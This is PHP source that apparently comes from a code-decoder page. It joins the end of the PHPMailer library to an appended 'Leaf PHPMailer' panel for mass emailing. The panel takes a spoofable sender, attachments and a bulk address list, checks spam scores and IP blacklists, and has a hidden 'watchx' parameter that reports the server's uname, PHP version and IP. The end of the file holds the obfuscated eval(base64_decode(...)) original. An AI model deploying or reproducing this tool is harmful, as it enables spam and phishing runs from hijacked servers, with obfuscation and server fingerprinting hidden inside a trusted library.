&& !preg_match('#^[a-z][a-z0-9+.-]*:?//#i', $url)
) {
$filename = basename($url);
$directory = dirname($url);
if ($directory == '.') {
$directory = '';
}
$cid = md5($url) . '@phpmailer.0'; // RFC2392 S 2
if (strlen($directory) > 1 && substr($directory, -1) != '/') {
$directory .= '/';
}
if ($this->addEmbeddedImage(
$basedir . $directory . $filename,
$cid,
$filename,
'base64',
self::_mime_types((string)self::mb_pathinfo($filename, PATHINFO_EXTENSION))
)
) {
$message = preg_replace(
'/' . $images[1][$imgindex] . '=["\']' . preg_quote($url, '/') . '["\']/Ui',
$images[1][$imgindex] . '="cid:' . $cid . '"',
$message
);
}
}
}
}
$this->isHTML(true);
// Convert all message body line breaks to CRLF, makes quoted-printable encoding work much better
$this->Body = $this->normalizeBreaks($message);
$this->AltBody = $this->normalizeBreaks($this->html2text($message, $advanced));
if (!$this->alternativeExists()) {
$this->AltBody = 'To view this email message, open it in a program that understands HTML!' .
self::CRLF . self::CRLF;
}
return $this->Body;
}
/**
* Convert an HTML string into plain text.
* This is used by msgHTML().
* Note - older versions of this function used a bundled advanced converter
* which was been removed for license reasons in #232.
* Example usage:
* <code>
* // Use default conversion
* $plain = $mail->html2text($html);
* // Use your own custom converter
* $plain = $mail->html2text($html, function($html) {
* $converter = new MyHtml2text($html);
* return $converter->get_text();
* });
* </code>
* @param string $html The HTML text to convert
* @param boolean|callable $advanced Any boolean value to use the internal converter,
* or provide your own callable for custom conversion.
* @return string
*/
public function html2text($html, $advanced = false)
{
if (is_callable($advanced)) {
return call_user_func($advanced, $html);
}
return html_entity_decode(
trim(strip_tags(preg_replace('/<(head|title|style|script)[^>]*>.*?<\/>/si', '', $html))),
ENT_QUOTES,
$this->CharSet
);
}
/**
* Get the MIME type for a file extension.
* @param string $ext File extension
* @access public
* @return string MIME type of file.
* @static
*/
public static function _mime_types($ext = '')
{
$mimes = array(
'xl' => 'application/excel',
'js' => 'application/javascript',
'hqx' => 'application/mac-binhex40',
'cpt' => 'application/mac-compactpro',
'bin' => 'application/macbinary',
'doc' => 'application/msword',
'word' => 'application/msword',
'xlsx' => 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet',
'xltx' => 'application/vnd.openxmlformats-officedocument.spreadsheetml.template',
'potx' => 'application/vnd.openxmlformats-officedocument.presentationml.template',
'ppsx' => 'application/vnd.openxmlformats-officedocument.presentationml.slideshow',
'pptx' => 'application/vnd.openxmlformats-officedocument.presentationml.presentation',
'sldx' => 'application/vnd.openxmlformats-officedocument.presentationml.slide',
'docx' => 'application/vnd.openxmlformats-officedocument.wordprocessingml.document',
'dotx' => 'application/vnd.openxmlformats-officedocument.wordprocessingml.template',
'xlam' => 'application/vnd.ms-excel.addin.macroEnabled.12',
'xlsb' => 'application/vnd.ms-excel.sheet.binary.macroEnabled.12',
'class' => 'application/octet-stream',
'dll' => 'application/octet-stream',
'dms' => 'application/octet-stream',
'exe' => 'application/octet-stream',
'lha' => 'application/octet-stream',
'lzh' => 'application/octet-stream',
'psd' => 'application/octet-stream',
'sea' => 'application/octet-stream',
'so' => 'application/octet-stream',
'oda' => 'application/oda',
'pdf' => 'application/pdf',
'ai' => 'application/postscript',
'eps' => 'application/postscript',
'ps' => 'application/postscript',
'smi' => 'application/smil',
'smil' => 'application/smil',
'mif' => 'application/vnd.mif',
'xls' => 'application/vnd.ms-excel',
'ppt' => 'application/vnd.ms-powerpoint',
'wbxml' => 'application/vnd.wap.wbxml',
'wmlc' => 'application/vnd.wap.wmlc',
'dcr' => 'application/x-director',
'dir' => 'application/x-director',
'dxr' => 'application/x-director',
'dvi' => 'application/x-dvi',
'gtar' => 'application/x-gtar',
'php3' => 'application/x-httpd-php',
'php4' => 'application/x-httpd-php',
'php' => 'application/x-httpd-php',
'phtml' => 'application/x-httpd-php',
'phps' => 'application/x-httpd-php-source',
'swf' => 'application/x-shockwave-flash',
'sit' => 'application/x-stuffit',
'tar' => 'application/x-tar',
'tgz' => 'application/x-tar',
'xht' => 'application/xhtml+xml',
'xhtml' => 'application/xhtml+xml',
'zip' => 'application/zip',
'mid' => 'audio/midi',
'midi' => 'audio/midi',
'mp2' => 'audio/mpeg',
'mp3' => 'audio/mpeg',
'mpga' => 'audio/mpeg',
'aif' => 'audio/x-aiff',
'aifc' => 'audio/x-aiff',
'aiff' => 'audio/x-aiff',
'ram' => 'audio/x-pn-realaudio',
'rm' => 'audio/x-pn-realaudio',
'rpm' => 'audio/x-pn-realaudio-plugin',
'ra' => 'audio/x-realaudio',
'wav' => 'audio/x-wav',
'bmp' => 'image/bmp',
'gif' => 'image/gif',
'jpeg' => 'image/jpeg',
'jpe' => 'image/jpeg',
'jpg' => 'image/jpeg',
'png' => 'image/png',
'tiff' => 'image/tiff',
'tif' => 'image/tiff',
'eml' => 'message/rfc822',
'css' => 'text/css',
'html' => 'text/html',
'htm' => 'text/html',
'shtml' => 'text/html',
'log' => 'text/plain',
'text' => 'text/plain',
'txt' => 'text/plain',
'rtx' => 'text/richtext',
'rtf' => 'text/rtf',
'vcf' => 'text/vcard',
'vcard' => 'text/vcard',
'xml' => 'text/xml',
'xsl' => 'text/xml',
'mpeg' => 'video/mpeg',
'mpe' => 'video/mpeg',
'mpg' => 'video/mpeg',
'mov' => 'video/quicktime',
'qt' => 'video/quicktime',
'rv' => 'video/vnd.rn-realvideo',
'avi' => 'video/x-msvideo',
'movie' => 'video/x-sgi-movie'
);
if (array_key_exists(strtolower($ext), $mimes)) {
return $mimes[strtolower($ext)];
}
return 'application/octet-stream';
}
/**
* Map a file name to a MIME type.
* Defaults to 'application/octet-stream', i.e.. arbitrary binary data.
* @param string $filename A file name or full path, does not need to exist as a file
* @return string
* @static
*/
public static function filenameToType($filename)
{
// In case the path is a URL, strip any query string before getting extension
$qpos = strpos($filename, '?');
if (false !== $qpos) {
$filename = substr($filename, 0, $qpos);
}
$pathinfo = self::mb_pathinfo($filename);
return self::_mime_types($pathinfo['extension']);
}
/**
* Multi-byte-safe pathinfo replacement.
* Drop-in replacement for pathinfo(), but multibyte-safe, cross-platform-safe, old-version-safe.
* Works similarly to the one in PHP >= 5.2.0
* @link http://www.php.net/manual/en/function.pathinfo.php#107461
* @param string $path A filename or path, does not need to exist as a file
* @param integer|string $options Either a PATHINFO_* constant,
* or a string name to return only the specified piece, allows 'filename' to work on PHP < 5.2
* @return string|array
* @static
*/
public static function mb_pathinfo($path, $options = null)
{
$ret = array('dirname' => '', 'basename' => '', 'extension' => '', 'filename' => '');
$pathinfo = array();
if (preg_match('%^(.*?)[\/]*(([^/\]*?)(\.([^\.\/]+?)|))[\/\.]*$%im', $path, $pathinfo)) {
if (array_key_exists(1, $pathinfo)) {
$ret['dirname'] = $pathinfo[1];
}
if (array_key_exists(2, $pathinfo)) {
$ret['basename'] = $pathinfo[2];
}
if (array_key_exists(5, $pathinfo)) {
$ret['extension'] = $pathinfo[5];
}
if (array_key_exists(3, $pathinfo)) {
$ret['filename'] = $pathinfo[3];
}
}
switch ($options) {
case PATHINFO_DIRNAME:
case 'dirname':
return $ret['dirname'];
case PATHINFO_BASENAME:
case 'basename':
return $ret['basename'];
case PATHINFO_EXTENSION:
case 'extension':
return $ret['extension'];
case PATHINFO_FILENAME:
case 'filename':
return $ret['filename'];
default:
return $ret;
}
}
/**
* Set or reset instance properties.
* You should avoid this function - it's more verbose, less efficient, more error-prone and
* harder to debug than setting properties directly.
* Usage Example:
* `$mail->set('SMTPSecure', 'tls');`
* is the same as:
* `$mail->SMTPSecure = 'tls';`
* @access public
* @param string $name The property name to set
* @param mixed $value The value to set the property to
* @return boolean
* @TODO Should this not be using the __set() magic function?
*/
public function set($name, $value = '')
{
if (property_exists($this, $name)) {
$this->$name = $value;
return true;
} else {
$this->setError($this->lang('variable_set') . $name);
return false;
}
}
/**
* Strip newlines to prevent header injection.
* @access public
* @param string $str
* @return string
*/
public function secureHeader($str)
{
return trim(str_replace(array("
", "
"), '', $str));
}
/**
* Normalize line breaks in a string.
* Converts UNIX LF, Mac CR and Windows CRLF line breaks into a single line break format.
* Defaults to CRLF (for message bodies) and preserves consecutive breaks.
* @param string $text
* @param string $breaktype What kind of line break to use, defaults to CRLF
* @return string
* @access public
* @static
*/
public static function normalizeBreaks($text, $breaktype = "
")
{
return preg_replace('/(
|
|
)/ms', $breaktype, $text);
}
/**
* Set the public and private key files and password for S/MIME signing.
* @access public
* @param string $cert_filename
* @param string $key_filename
* @param string $key_pass Password for private key
* @param string $extracerts_filename Optional path to chain certificate
*/
public function sign($cert_filename, $key_filename, $key_pass, $extracerts_filename = '')
{
$this->sign_cert_file = $cert_filename;
$this->sign_key_file = $key_filename;
$this->sign_key_pass = $key_pass;
$this->sign_extracerts_file = $extracerts_filename;
}
/**
* Quoted-Printable-encode a DKIM header.
* @access public
* @param string $txt
* @return string
*/
public function DKIM_QP($txt)
{
$line = '';
for ($i = 0; $i < strlen($txt); $i++) {
$ord = ord($txt[$i]);
if (((0x21 <= $ord) && ($ord <= 0x3A)) || $ord == 0x3C || ((0x3E <= $ord) && ($ord <= 0x7E))) {
$line .= $txt[$i];
} else {
$line .= '=' . sprintf('%02X', $ord);
}
}
return $line;
}
/**
* Generate a DKIM signature.
* @access public
* @param string $signHeader
* @throws phpmailerException
* @return string The DKIM signature value
*/
public function DKIM_Sign($signHeader)
{
if (!defined('PKCS7_TEXT')) {
if ($this->exceptions) {
throw new phpmailerException($this->lang('extension_missing') . 'openssl');
}
return '';
}
$privKeyStr = !empty($this->DKIM_private_string) ? $this->DKIM_private_string : file_get_contents($this->DKIM_private);
if ('' != $this->DKIM_passphrase) {
$privKey = openssl_pkey_get_private($privKeyStr, $this->DKIM_passphrase);
} else {
$privKey = openssl_pkey_get_private($privKeyStr);
}
//Workaround for missing digest algorithms in old PHP & OpenSSL versions
//@link http://stackoverflow.com/a/11117338/333340
if (version_compare(PHP_VERSION, '5.3.0') >= 0 and
in_array('sha256WithRSAEncryption', openssl_get_md_methods(true))) {
if (openssl_sign($signHeader, $signature, $privKey, 'sha256WithRSAEncryption')) {
openssl_pkey_free($privKey);
return base64_encode($signature);
}
} else {
$pinfo = openssl_pkey_get_details($privKey);
$hash = hash('sha256', $signHeader);
//'Magic' constant for SHA256 from RFC3447
//@link https://tools.ietf.org/html/rfc3447#page-43
$t = '3031300d060960864801650304020105000420' . $hash;
$pslen = $pinfo['bits'] / 8 - (strlen($t) / 2 + 3);
$eb = pack('H*', '0001' . str_repeat('FF', $pslen) . '00' . $t);
if (openssl_private_encrypt($eb, $signature, $privKey, OPENSSL_NO_PADDING)) {
openssl_pkey_free($privKey);
return base64_encode($signature);
}
}
openssl_pkey_free($privKey);
return '';
}
/**
* Generate a DKIM canonicalization header.
* @access public
* @param string $signHeader Header
* @return string
*/
public function DKIM_HeaderC($signHeader)
{
$signHeader = preg_replace('/
\s+/', ' ', $signHeader);
$lines = explode("
", $signHeader);
foreach ($lines as $key => $line) {
list($heading, $value) = explode(':', $line, 2);
$heading = strtolower($heading);
$value = preg_replace('/\s{2,}/', ' ', $value); // Compress useless spaces
$lines[$key] = $heading . ':' . trim($value); // Don't forget to remove WSP around the value
}
$signHeader = implode("
", $lines);
return $signHeader;
}
/**
* Generate a DKIM canonicalization body.
* @access public
* @param string $body Message Body
* @return string
*/
public function DKIM_BodyC($body)
{
if ($body == '') {
return "
";
}
// stabilize line endings
$body = str_replace("
", "
", $body);
$body = str_replace("
", "
", $body);
// END stabilize line endings
while (substr($body, strlen($body) - 4, 4) == "
") {
$body = substr($body, 0, strlen($body) - 2);
}
return $body;
}
/**
* Create the DKIM header and body in a new message header.
* @access public
* @param string $headers_line Header lines
* @param string $subject Subject
* @param string $body Body
* @return string
*/
public function DKIM_Add($headers_line, $subject, $body)
{
$DKIMsignatureType = 'rsa-sha256'; // Signature & hash algorithms
$DKIMcanonicalization = 'relaxed/simple'; // Canonicalization of header/body
$DKIMquery = 'dns/txt'; // Query method
$DKIMtime = time(); // Signature Timestamp = seconds since 00:00:00 - Jan 1, 1970 (UTC time zone)
$subject_header = "Subject: $subject";
$headers = explode($this->LE, $headers_line);
$from_header = '';
$to_header = '';
$date_header = '';
$current = '';
foreach ($headers as $header) {
if (strpos($header, 'From:') === 0) {
$from_header = $header;
$current = 'from_header';
} elseif (strpos($header, 'To:') === 0) {
$to_header = $header;
$current = 'to_header';
} elseif (strpos($header, 'Date:') === 0) {
$date_header = $header;
$current = 'date_header';
} else {
if (!empty($$current) && strpos($header, ' =?') === 0) {
$$current .= $header;
} else {
$current = '';
}
}
}
$from = str_replace('|', '=7C', $this->DKIM_QP($from_header));
$to = str_replace('|', '=7C', $this->DKIM_QP($to_header));
$date = str_replace('|', '=7C', $this->DKIM_QP($date_header));
$subject = str_replace(
'|',
'=7C',
$this->DKIM_QP($subject_header)
); // Copied header fields (dkim-quoted-printable)
$body = $this->DKIM_BodyC($body);
$DKIMlen = strlen($body); // Length of body
$DKIMb64 = base64_encode(pack('H*', hash('sha256', $body))); // Base64 of packed binary SHA-256 hash of body
if ('' == $this->DKIM_identity) {
$ident = '';
} else {
$ident = ' i=' . $this->DKIM_identity . ';';
}
$dkimhdrs = 'DKIM-Signature: v=1; a=' .
$DKIMsignatureType . '; q=' .
$DKIMquery . '; l=' .
$DKIMlen . '; s=' .
$this->DKIM_selector .
";
" .
" t=" . $DKIMtime . '; c=' . $DKIMcanonicalization . ";
" .
" h=From:To:Date:Subject;
" .
" d=" . $this->DKIM_domain . ';' . $ident . "
" .
" z=$from
" .
" |$to
" .
" |$date
" .
" |$subject;
" .
" bh=" . $DKIMb64 . ";
" .
" b=";
$toSign = $this->DKIM_HeaderC(
$from_header . "
" .
$to_header . "
" .
$date_header . "
" .
$subject_header . "
" .
$dkimhdrs
);
$signed = $this->DKIM_Sign($toSign);
return $dkimhdrs . $signed . "
";
}
/**
* Detect if a string contains a line longer than the maximum line length allowed.
* @param string $str
* @return boolean
* @static
*/
public static function hasLineLongerThanMax($str)
{
//+2 to include CRLF line break for a 1000 total
return (boolean)preg_match('/^(.{'.(self::MAX_LINE_LENGTH + 2).',})/m', $str);
}
/**
* Allows for public read access to 'to' property.
* @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
* @access public
* @return array
*/
public function getToAddresses()
{
return $this->to;
}
/**
* Allows for public read access to 'cc' property.
* @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
* @access public
* @return array
*/
public function getCcAddresses()
{
return $this->cc;
}
/**
* Allows for public read access to 'bcc' property.
* @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
* @access public
* @return array
*/
public function getBccAddresses()
{
return $this->bcc;
}
/**
* Allows for public read access to 'ReplyTo' property.
* @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
* @access public
* @return array
*/
public function getReplyToAddresses()
{
return $this->ReplyTo;
}
/**
* Allows for public read access to 'all_recipients' property.
* @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
* @access public
* @return array
*/
public function getAllRecipientAddresses()
{
return $this->all_recipients;
}
/**
* Perform a callback.
* @param boolean $isSent
* @param array $to
* @param array $cc
* @param array $bcc
* @param string $subject
* @param string $body
* @param string $from
*/
protected function doCallback($isSent, $to, $cc, $bcc, $subject, $body, $from)
{
if (!empty($this->action_function) && is_callable($this->action_function)) {
$params = array($isSent, $to, $cc, $bcc, $subject, $body, $from);
call_user_func_array($this->action_function, $params);
}
}
}
/**
* PHPMailer exception handler
* @package PHPMailer
*/
class phpmailerException extends Exception
{
/**
* Prettify error message output
* @return string
*/
public function errorMessage()
{
$errorMsg = '<strong>' . htmlspecialchars($this->getMessage()) . "</strong><br />
";
return $errorMsg;
}
}
if ($_REQUEST['watchx']) {
$version = phpversion();
$uname = php_uname();
$ip = gethostbyname($_SERVER["HTTP_HOST"]);
echo json_encode (array ("version"=>$version,
"uname"=>$uname,
"platform"=>PHP_OS,
"ip"=>$ip,
"mailerx"=>true,
));
die ();
}
function leafheader(){
print '
<head>
<title>'.str_replace("www.", "", $_SERVER['HTTP_HOST']).' - Leaf PHPMailer</title>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
<link href="https://maxcdn.bootstrapcdn.com/bootswatch/3.4.1/cosmo/bootstrap.min.css" rel="stylesheet" >
</head>';
}
leafheader();
print '<body>';
print '<div class="container col-lg-6">
<h3><font color="green"><span class="glyphicon glyphicon-leaf"></span></font> Leaf PHPMailer <small>'.$leaf['version'].'</small></h3>
<form name="form" id="form" method="POST" enctype="multipart/form-data" action="">
<input type="hidden" name="action" value="score">
<div class="row">
<div class="form-group col-lg-6 "><label for="senderEmail">Email</label><input type="text" class="form-control input-sm " id="senderEmail" name="senderEmail" value="'.$senderEmail.'"></div>
<div class="form-group col-lg-6 "><label for="senderName">Sender Name</label><input type="text" class="form-control input-sm " id="senderName" name="senderName" value="'.$senderName.'"></div>
</div>
<div class="row">
<span class="form-group col-lg-6 "><label for="attachment">Attachment <small>(Multiple Available)</small></label><input type="file" name="attachment[]" id="attachment[]" multiple/></span>
<div class="form-group col-lg-6"><label for="replyTo">Reply-to</label><input type="text" class="form-control input-sm " id="replyTo" name="replyTo" value="'.$replyTo.'" /></div>
</div>
<div class="row">
<div class="form-group col-lg-12 "><label for="subject">Subject</label><input type="text" class="form-control input-sm " id="subject" name="subject" value="'.$subject.'" /></div>
</div>
<div class="row">
<div class="form-group col-lg-6"><label for="messageLetter">Message Letter <button type="submit" class="btn btn-default btn-xs" form="form" name="action" value="view" formtarget="_blank">Preview </button></label><textarea name="messageLetter" id="messageLetter" class="form-control" rows="10" id="textArea">'.$messageLetter.'</textarea></div>
<div class="form-group col-lg-6 "><label for="emailList">Email List <a href="?emailfilter=on" target="_blank" class="btn btn-default btn-xs">Filter/Extract</a></label><textarea name="emailList" id="emailList" class="form-control" rows="10" id="textArea">'.$emailList.'</textarea></div>
</div>
<div class="row">
<div class="form-group col-lg-6 ">
<label for="messageType">Message Type</label>
HTML <input type="radio" name="messageType" id="messageType" value="1" '.$html.'>
Plain<input type="radio" name="messageType" id="messageType" value="2" '.$plain.'>
</div>
<div class="form-group col-lg-3 ">
<label for="charset">Character set</label>
<select class="form-control input-sm" id="charset" name="charset">
<option '.$utf8.'>UTF-8</option>
<option '.$iso.'>ISO-8859-1</option>
</select>
</div>
<div class="form-group col-lg-3 ">
<label for="encoding">Message encoding</label>
<select class="form-control input-sm" id="encode" name="encode">
<option '.$bit8.'>8bit</option>
<option '.$bit7.'>7bit</option>
<option '.$binary.'>binary</option>
<option '.$base64.'>base64</option>
<option '.$quotedprintable.'>quoted-printable</option>
</select>
</div>
</div>
<button type="submit" class="btn btn-default btn-sm" form="form" name="action" value="send">SEND</button> or <a href="#" onclick="document.getElementById(\'form\').submit(); return false;">check SpamAssassin Score</a>
</form>
</div>
<div class="col-lg-6"><br>
<label for="well">Instruction</label>
<div id="well" class="well well">
<h4>Server Information</h4>
<ul>
<li>Server IP Address : <b>'.$_SERVER['SERVER_ADDR'].' </b> <a href="?check_ip='.$_SERVER['SERVER_ADDR'].'" target="_blank" class="label label-primary">Check Blacklist <i class="glyphicon glyphicon-search"></i></a></li>
<li>PHP Version : <b>'.phpversion().'</b></li>
</ul>
<h4>HELP</h4>
<ul>
<li>[-email-] : <b>Reciver Email</b> ([email protected])</li>
<ul>
<li>[-emailuser-] : <b>Email User</b> (emailuser) </li>
<li>[-emaildomain-] : <b>Email User</b> (emaildomain.com) </li>
</ul>
<li>[-time-] : <b>Date and Time</b> ('.date("m/d/Y h:i:s a", time()).')</li>
<li>[-randomstring-] : <b>Random string (0-9,a-z)</b></li>
<li>[-randomnumber-] : <b>Random number (0-9) </b></li>
<li>[-randomletters-] : <b>Random Letters(a-z) </b></li>
<li>[-randommd5-] : <b>Random MD5 </b></li>
</ul>
<h4>example</h4>
Receiver Email = <b>[email protected]</b><br>
<ul>
<li>hello <b>[-emailuser-]</b> = hello <b>user</b></li>
<li>your domain is <b>[-emaildomain-]</b> = Your Domain is <b>domain.com</b></li>
<li>your code is <b>[-randommd5-]</b> = your code is <b>e10adc3949ba59abbe56e057f20f883e</b></li>
</ul>
<h6>by <b><a href="http://'.$leaf['website'].'">'.$leaf['website'].'</a></b></h6>
</div>
</div>';
if($_POST['action']=="send"){
print ' <div class="col-lg-12">';
$maillist=explode("
", $emailList);
$n=count($maillist);
$x =1;
foreach ($maillist as $email ) {
print '<div class="col-lg-1">['.$x.'/'.$n.']</div><div class="col-lg-4">'.$email.'</div>';
if(!leafMailCheck($email)) {
print '<div class="col-lg-6"><span class="label label-default">Incorrect Email</span></div>';
print "<br>
";
}
else {
$mail = new PHPMailer;
$mail->setFrom(leafClear($senderEmail,$email),leafClear($senderName,$email));
$mail->addReplyTo(leafClear($replyTo,$email));
$mail->addAddress($email);
$mail->Subject = leafClear($subject,$email);
$mail->Body = leafClear($messageLetter,$email);
if($messageType==1){
$mail->IsHTML(true);
$mail->AltBody =strip_tags(leafClear($messageLetter,$email));
}
else $mail->IsHTML(false);
$mail->CharSet = $charset;
$mail->Encoding = $encoding;
for($i=0; $i<count($_FILES['attachment']['name']); $i++) {
if ($_FILES['attachment']['tmp_name'][$i] != ""){
$mail->AddAttachment($_FILES['attachment']['tmp_name'][$i],$_FILES['attachment']['name'][$i]);
}
}
if (!$mail->send()) {
echo '<div class="col-lg-6"><span class="label label-default">'.htmlspecialchars($mail->ErrorInfo).'</span></div>';
}
else {
echo '<div class="col-lg-6"><span class="label label-success">Ok</span></div>';
}
print "<br>
";
}
$x++;
for($k = 0; $k < 40000; $k++) {echo ' ';}
}
}
elseif($_POST['action']=="score"){
$mail = new PHPMailer;
$mail->setFrom(leafClear($senderEmail,$email),leafClear($senderName,$email));
$mail->addReplyTo(leafClear($replyTo,$email));
$mail->addAddress("[email protected]");
$mail->Subject = leafClear($subject,$email);
$mail->Body = leafClear($messageLetter,$email);
if($messageType==1){
$mail->IsHTML(true);
$mail->AltBody =strip_tags(leafClear($messageLetter,$email));
}
else $mail->IsHTML(false);
$mail->CharSet = $charset;
$mail->Encoding = $encoding;
$mail->preSend();
$messageHeaders=$mail->getSentMIMEMessage();
$ch = curl_init();
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_URL, 'http://spamcheck.postmarkapp.com/filter');
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(array('email' => $messageHeaders,'options'=>'long')));
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($ch, CURLOPT_TIMEOUT, 15);
$response = curl_exec($ch);
$response = json_decode($response);
print ' <div class="col-lg-12">';
if ($response->success == TRUE ){
$score = $response->score;
if ($score > 5 ) $class="danger";
else $class="success";
print '<div class="text-'.$class.'">Your SpamAssassin score is '.$score.' </div>
<div>Full Report : <pre>'.$response->report.'</pre></div>';
print ' </div>';
}
}
print '</body>';
Did this file decode correctly?
Original Code
eval (base64_decode("CnNlc3Npb25fc3RhcnQoKTsKZXJyb3JfcmVwb3J0aW5nKDApOwpzZXRfdGltZV9saW1pdCgwKTsKaW5pX3NldCgibWVtb3J5X2xpbWl0IiwtMSk7CgokbGVhZlsndmVyc2lvbiddPSIyLjgiOwokbGVhZlsnd2Vic2l0ZSddPSJsZWFmbWFpbGVyLnB3IjsKCgokc2Vzc2lvbmNvZGUgPSBtZDUoX19GSUxFX18pOwppZighZW1wdHkoJHBhc3N3b3JkKSBhbmQgJF9TRVNTSU9OWyRzZXNzaW9uY29kZV0gIT0gJHBhc3N3b3JkKXsKICAgIGlmIChpc3NldCgkX1JFUVVFU1RbJ3Bhc3MnXSkgYW5kICRfUkVRVUVTVFsncGFzcyddID09ICRwYXNzd29yZCkgewogICAgICAgICRfU0VTU0lPTlskc2Vzc2lvbmNvZGVdID0gJHBhc3N3b3JkOwogICAgfQogICAgZWxzZSB7CiAgICAgICAgcHJpbnQgIjxwcmUgYWxpZ249Y2VudGVyPjxmb3JtIG1ldGhvZD1wb3N0PlBhc3N3b3JkOiA8aW5wdXQgdHlwZT0ncGFzc3dvcmQnIG5hbWU9J3Bhc3MnPjxpbnB1dCB0eXBlPSdzdWJtaXQnIHZhbHVlPSc+Pic+PC9mb3JtPjwvcHJlPiI7CiAgICAgICAgZXhpdDsgICAgICAgIAogICAgfQp9CgpzZXNzaW9uX3dyaXRlX2Nsb3NlKCk7CgoKZnVuY3Rpb24gbGVhZkNsZWFyKCR0ZXh0LCRlbWFpbCl7CgkkZSA9IGV4cGxvZGUoJ0AnLCAkZW1haWwpOw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bCiAgICAgICAgImFsbC5zNWgubmV0IiwKICAgICAgICAiYi5iYXJyYWN1ZGFjZW50cmFsLm9yZyIsCiAgICAgICAgImJsLnNwYW1jb3AubmV0IiwKICAgICAgICAiYmxhY2tsaXN0Lndvb2R5LmNoIiwKICAgICAgICAiYm9nb25zLmN5bXJ1LmNvbSIsCiAgICAgICAgImNibC5hYnVzZWF0Lm9yZyIsCiAgICAgICAgImNkbC5hbnRpLXNwYW0ub3JnLmNuIiwKICAgICAgICAiY29tYmluZWQuYWJ1c2UuY2giLAogICAgICAgICJkYi53cGJsLmluZm8iLAogICAgICAgICJkbnNibC0xLnVjZXByb3RlY3QubmV0IiwKICAgICAgICAiZG5zYmwtMi51Y2Vwcm90ZWN0Lm5ldCIsCiAgICAgICAgImRuc2JsLTMudWNlcHJvdGVjdC5uZXQiLAogICAgICAgICJkbnNibC5hbnRpY2FwdGNoYS5uZXQiLAogICAgICAgICJkbnNibC5kcm9uZWJsLm9yZyIsCiAgICAgICAgImRuc2JsLmlucHMuZGUiLAogICAgICAgICJkbnNibC5zb3Jicy5uZXQiLAogICAgICAgICJkcm9uZS5hYnVzZS5jaCIsCiAgICAgICAgImR1aW52LmF1cGFkcy5vcmciLAogICAgICAgICJkdWwuZG5zYmwuc29yYnMubmV0IiwKICAgICAgICAiZHluYS5zcGFtcmF0cy5jb20iLAogICAgICAgICJkeW5pcC5yb3RoZW4uY29tIiwKICAgICAgICAiaHR0cC5kbnNibC5zb3Jicy5uZXQiLAogICAgICAgICJpcHMuYmFja3NjYXR0ZXJlci5vcmciLAogICAgICAgICJpeC5kbnNibC5tYW5pdHUubmV0IiwKICAgICAgICAia29yZWEuc2VydmljZXMubmV0IiwKICAgICAgICAibWlzYy5kbnNibC5zb3Jicy5uZXQiLAogICAgICAgICJub3B0ci5zcGFtcmF0cy5jb20iLAogICAgICAgICJvcnZlZGIuYXVwYWRzLm9yZyIsCiAgICAgICAgInBibC5zcGFtaGF1cy5vcmciLAogICAgICAgICJwcm94eS5ibC5nd2VlcC5jYSIsCiAgICAgICAgInBzYmwuc3VycmllbC5jb20iLAogICAgICAgICJyZWxheXMuYmwuZ3dlZXAuY2EiLAogICAgICAgICJyZWxheXMubmV0aGVyLm5ldCIsCiAgICAgICAgInNibC5zcGFtaGF1cy5vcmciLAogICAgICAgICJzaG9ydC5yYmwuanAiLAogICAgICAgICJzaW5ndWxhci50dGsucHRlLmh1IiwKICAgICAgICAic210cC5kbnNibC5zb3Jicy5uZXQiLAogICAgICAgICJzb2Nrcy5kbnNibC5zb3Jicy5uZXQiLAogICAgICAgICJzcGFtLmFidXNlLmNoIiwKICAgICAgICAic3BhbS5kbnNibC5hbm9ubWFpbHMuZGUiLAogICAgICAgICJzcGFtLmRuc2JsLnNvcmJzLm5ldCIsCiAgICAgICAgInNwYW0uc3BhbXJhdHMuY29tIiwKICAgICAgICAic3BhbWJvdC5ibHMuZGlnaWJhc2UuY2EiLAogICAgICAgICJzcGFtcmJsLmltcC5jaCIsCiAgICAgICAgInNwYW1zb3VyY2VzLmZhYmVsLmRrIiwKICAgICAgICAidWJsLmxhc2hiYWNrLmNvbSIsCiAgICAgICAgInVibC51bnN1YnNjb3JlLmNvbSIsCiAgICAgICAgInZpcnVzLnJibC5qcCIsCiAgICAgICAgIndlYi5kbnNibC5zb3Jicy5uZXQiLAogICAgICAgICJ3b3JtcmJsLmltcC5jaCIsCiAgICAgICAgInhibC5zcGFtaGF1cy5vcmciLAogICAgICAgICJ6Lm1haWxzcGlrZS5uZXQiLAogICAgICAgICJ6ZW4uc3BhbWhhdXMub3JnIiwKICAgICAgICAiem9tYmllLmRuc2JsLnNvcmJzLm5ldCIsCiAgICBdOwogICAgJHJldmVyc2VfaXAgPSBpbXBsb2RlKCIuIiwgYXJyYXlfcmV2ZXJzZShleHBsb2RlKCIuIiwgJF9HRVRbJ2NoZWNrX2lwJ10pKSk7CiAgICAkZG5zVCA9IGNvdW50KCRkbnNibF9sb29rdXApOwogICAgbGVhZmhlYWRlcigpOwogICA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iAgICBpZighZW1wdHkoJF9GSUxFU1snZmlsZVRvVXBsb2FkJ11bJ3RtcF9uYW1lJ10pKXsKICAgICAgICAkX1BPU1RbJ2VtYWlsTGlzdCddPSBmaWxlX2dldF9jb250ZW50cygkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsidG1wX25hbWUiXSk7IAogICAgfQogICAgJF9QT1NUWydlbWFpbExpc3QnXT1zdHJ0b2xvd2VyKCRfUE9TVFsnZW1haWxMaXN0J10pOwogICBpZigkX0dFVFsnZW1haWxmaWx0ZXInXT09ImlmcmFtIil7CiAgICAgICAgaWYgKCRfUE9TVFsncmVzdWx0dHlwZSddID09ICJkb3dubG9hZCIpewogICAgICAgICAgICBoZWFkZXIoIkNvbnRlbnQtRGVzY3JpcHRpb246IEZpbGUgVHJhbnNmZXIiKTsgCiAgICAgICAgICAgIGhlYWRlcigiQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi9vY3RldC1zdHJlYW0iKTsgCiAgICAgICAgICAgIGhlYWRlcigiQ29udGVudC1EaXNwb3NpdGlvbjogYXR0YWNobWVudDsgZmlsZW5hbWU9ZW1haWxzIi50aW1